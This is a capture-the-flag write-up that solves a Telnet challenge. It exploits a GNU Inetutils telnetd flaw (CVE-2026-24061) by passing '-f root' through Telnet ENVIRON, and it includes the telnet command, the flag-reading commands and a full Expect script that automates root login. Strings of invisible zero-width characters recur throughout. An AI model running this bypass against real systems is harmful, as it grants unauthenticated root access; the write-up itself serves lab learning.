← Back to Writeups
CUSTOMEasyInfrastructure

Line Tap

XESXOR9/2/20263 min read
#infrastructure#custom#easy#telnet_protocol_identification#telnet_environ_injection#login_force_flag_bypass#cve-2026-24061#linux

Line Tap

Platform: CACTF2026 | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: telnet_protocol_identification, telnet_environ_injection, login_force_flag_bypass

Summary

Task: A legacy maintenance service on a nonstandard TCP port exposes Telnet environment negotiation and a GNU Inetutils authentication flaw. Solution: Supply a crafted USER value through Telnet ENVIRON to invoke forced root login, then read the checkpoint file.

Line Tap — CACTF2026

Description

“Stormbound scouts found a forgotten RiverGate PLC beneath Crownspire brineworks, still feeding treated water toward the Ash Vault service tunnels. Vaultrune wardens cut its controller off from normal oversight after the Signet shattered, but old maintenance habits tend to leave traces. Find what still answers and recover the latest checkpoint token before another sealed gate obeys a forged writ.”

English summary: A service was listening on TCP port 30293 at the supplied target. The goal was to identify the service behind the industrial-control theme, exploit its legacy authentication behavior, and recover the checkpoint token. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Semantic clues and protocol identification

The title Line Tap suggested observing the connection before committing to an application protocol. The references to a PLC, water treatment, and old maintenance practices initially made Modbus/TCP plausible, but the thematic setting was not proof of the wire protocol.

TCP port 30293 accepted connections, while HTTP, TLS, and Modbus application probes produced no useful response. A passive read was decisive because the server sent these bytes immediately: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
ff fd 18 ff fd 20 ff fd 23 ff fd 27 ff fd 24

ff fd is Telnet IAC DO. Most importantly, options 0x27 and 0x24 are NEW-ENVIRON and OLD-ENVIRON. This confirmed Telnet on the nonstandard port and eliminated HTTP, TLS, and Modbus as the relevant route.

Vulnerability mechanics

The observed environment negotiation matched GNU Inetutils Telnet behavior affected by CVE-2026-24061. The vulnerable flow is:

  1. Telnet ENVIRON lets the client supply variables such as USER.
  2. Vulnerable telnetd passes the attacker-controlled USER value unsafely to /bin/login.
  3. Setting USER to the argument string -f root makes the effective invocation /bin/login -f root.
  4. The login program interprets -f as forced authentication, yielding a root session without a password. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is argument injection across the Telnet ENVIRON-to-login boundary, not a guessed credential or a weakness in an industrial protocol. The same pattern was documented in CTF Writeup entry 20260708_hackviser_gnu_inetutils_telnetd_auth_bypass_cve_2026_24061.

Solution

1. Trigger the authentication bypass

The Homebrew Inetutils client on macOS can place the crafted value in USER with -l:

bash
/opt/homebrew/bin/telnet -l "-f root" 154.57.164.81 30293

The resulting shell was verified rather than inferred: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sh
id
# uid=0(root) gid=0(root) groups=0(root)

2. Confirm and read the exact checkpoint file

The initial bounded fallback checked several conventional flag locations. A subsequent clean run established /flag.txt as the exact source: it was a root-owned, 59-byte regular file.

sh
ls -l /flag.txt
cat /flag.txt
# HTB{REDACTED}

3. Reproduce with Expect

The following task-local script automates connection, root verification, file inspection, retrieval, and clean exit:

tcl
#!/usr/bin/expect -f
set timeout 25
log_user 1
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

spawn /opt/homebrew/bin/telnet -l "-f root" 154.57.164.81 30293
expect {
    -re {([#$>] ?)$} {
        send "id; uname -a; pwd; ls -l /flag.txt; cat /flag.txt\r"
    }
    -re {login:} {
        send "-f root\r"
    }
    timeout {
        puts "TIMEOUT waiting for shell/login"
        exit 2
    }
}
expect {
    -re {([#$>] ?)$} {
        send "exit\r"
    }
    timeout {
        puts "TIMEOUT waiting for enumeration"
        exit 3
    }
}
expect eof

Run it with:

bash
expect exploit.exp

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Routes

  • HTTP, TLS, and Modbus probes did not respond because they misidentified the application protocol; passive Telnet negotiation provided the correct discriminator.
  • The first broad flag-path fallback located the token, after which a clean verification confirmed /flag.txt and eliminated the other candidate paths. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍